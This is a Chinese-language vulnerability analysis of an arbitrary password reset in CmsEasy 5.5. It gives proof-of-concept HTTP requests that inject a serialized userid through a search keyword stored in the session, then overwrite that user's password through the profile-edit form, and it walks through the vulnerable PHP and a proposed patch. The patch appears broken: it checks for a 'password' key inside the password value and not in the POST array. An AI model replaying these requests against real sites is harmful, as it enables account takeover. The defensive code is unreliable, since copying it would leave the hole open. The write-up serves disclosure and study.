catalog
1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考
1. 漏洞描述
攻击者通过构造特殊的HTTP包,可以直接重置任意用户(包括管理员)的密码
Relevant Link:
http://www.cmseasy.cn/patch/show_919.html
2. 漏洞触发条件
0x1: POC
1. 首先利用search_action控制userid的值 http://localhost/CmsEasy_5.5/index.php?case=form&act=search&catid=8&form=my_yingpin POST keyword=|userid|i:1;"1" 2. 利用edit_action修改用户密码和其它资料 http://localhost/CmsEasy_5.5/index.php?case=user&act=edit POST password=3e503e8736acae9b3893629da7008fc0&nickname=ali&question=ali&answer=ali&qq=00000&e_mail=000%40test.com&tel=00000&address=&intro=&submit=%E6%8F%90%E4%BA%A4
3. 漏洞影响范围
4. 漏洞代码分析
/lib/default/user_act.php
function edit_action() { if(front::post('submit')) { unset(front::$post['groupid']); unset(front::$post['powerlist']); if(!is_email(front::$post['e_mail'])) { alerterror('邮箱格式不对'); } foreach (front::$post as $k => $v) { if(is_array($v) && !empty($v)) { front::$post[$k] = implode(',', $v); } front::check_type(front::post($k), 'safe'); } //通过取session的userid字段更新该用户资料 $this->_user->rec_update(front::$post,'userid='.session::get('userid')); front::flash(lang('修改资料成功!')); front::redirect(url::create('user/index')); } $this->view->data=$this->view->user; }
edit_action函数实现修改用户资料,通过取sesson中的userid字段来更改。所以攻击路径必须能控制生成session中的userid字段,控制生成session的函数位置: /lib/default/form_act.php
我们继续回溯这个漏洞
function search_action() { if(front::get('keyword') &&!front::post('keyword')) { front::$post['keyword']=front::get('keyword'); } front::check_type(front::post('keyword'),'safe'); //获取POST数据中的keyword参数 if(front::post('keyword')) { $this->view->keyword=trim(front::post('keyword')); if(inject_check($this->view->keyword)) { exit('非法请求!'); } //通过恶意检测之后,通过session保存keyword参数 session::set('keyword',$this->view->keyword); } else { session::set('keyword',null); $this->view->keyword=session::get('keyword'); } if(inject_check($this->view->keyword)) { exit('非法请求!'); } var_dump($this->view->keyword); $type = $this->view->type; $condition = ""; if(front::post('catid')) { $condition .= "catid = '".front::post('catid')."' AND "; } $condition .= "(title like '%".$this->view->keyword."%'"; $sets=settings::getInstance()->getrow(array('tag'=>'table-fieldset')); $arr = unserialize($sets['value']); if(is_array($arr['archive']) &&!empty($arr['archive'])) { foreach ($arr['archive'] as $v) { if($v['issearch'] == '1') { $condition .= " OR {$v['name']} like '%{$this->view->keyword}%'"; } } } $condition .= ")"; $order = "`listorder` desc,1 DESC"; $limit=(($this->view->page-1)*$this->pagesize).','.$this->pagesize; $articles=$this->archive->getrows($condition,$limit,$order); foreach($articles as $order=>$arc) { $articles[$order]['url']=archive::url($arc); $articles[$order]['catname']=category::name($arc['catid']); $articles[$order]['caturl']=category::url($arc['catid']); $articles[$order]['adddate']= sdate($arc['adddate']); $articles[$order]['stitle']= strip_tags($arc['title']); } $this->view->articles=$articles; $this->view->archives=$articles; $this->view->record_count=$this->archive->record_count; }
从访问控制的角度来看,这个漏洞有两个原因导致
1. session不应该由攻击者随便修改,导致keyword被注入修改,这是一个平行权限漏洞 2. 修改密码的入口来自于"用户资料修改",UI界面上只提供了普通身份资料的修改,但是因此MVC框架对POST数据进行了遍历,取出所有字段并进行了数据表更新操作,导致发生了表单字段注入
5. 防御方法
将代码逻辑和UI逻辑进行统一,防止出现表单字段注入
/lib/default/user_act.php
function edit_action() { if(front::post('submit')) { unset(front::$post['groupid']); unset(front::$post['powerlist']); if(!is_email(front::$post['e_mail'])) { alerterror('邮箱格式不对'); } /**/ $tmp = front::$post; if ( array_key_exists("password", $tmp['password']) ) { unset($tmp['password']); } front::$post = $tmp; /**/ foreach (front::$post as $k => $v) { if(is_array($v) && !empty($v)) { front::$post[$k] = implode(',', $v); } front::check_type(front::post($k), 'safe'); } //通过取session的userid字段更新该用户资料 $this->_user->rec_update(front::$post,'userid='.session::get('userid')); front::flash(lang('修改资料成功!')); front::redirect(url::create('user/index')); } $this->view->data=$this->view->user; }
6. 攻防思考
Copyright (c) 2015 LittleHann All rights reserved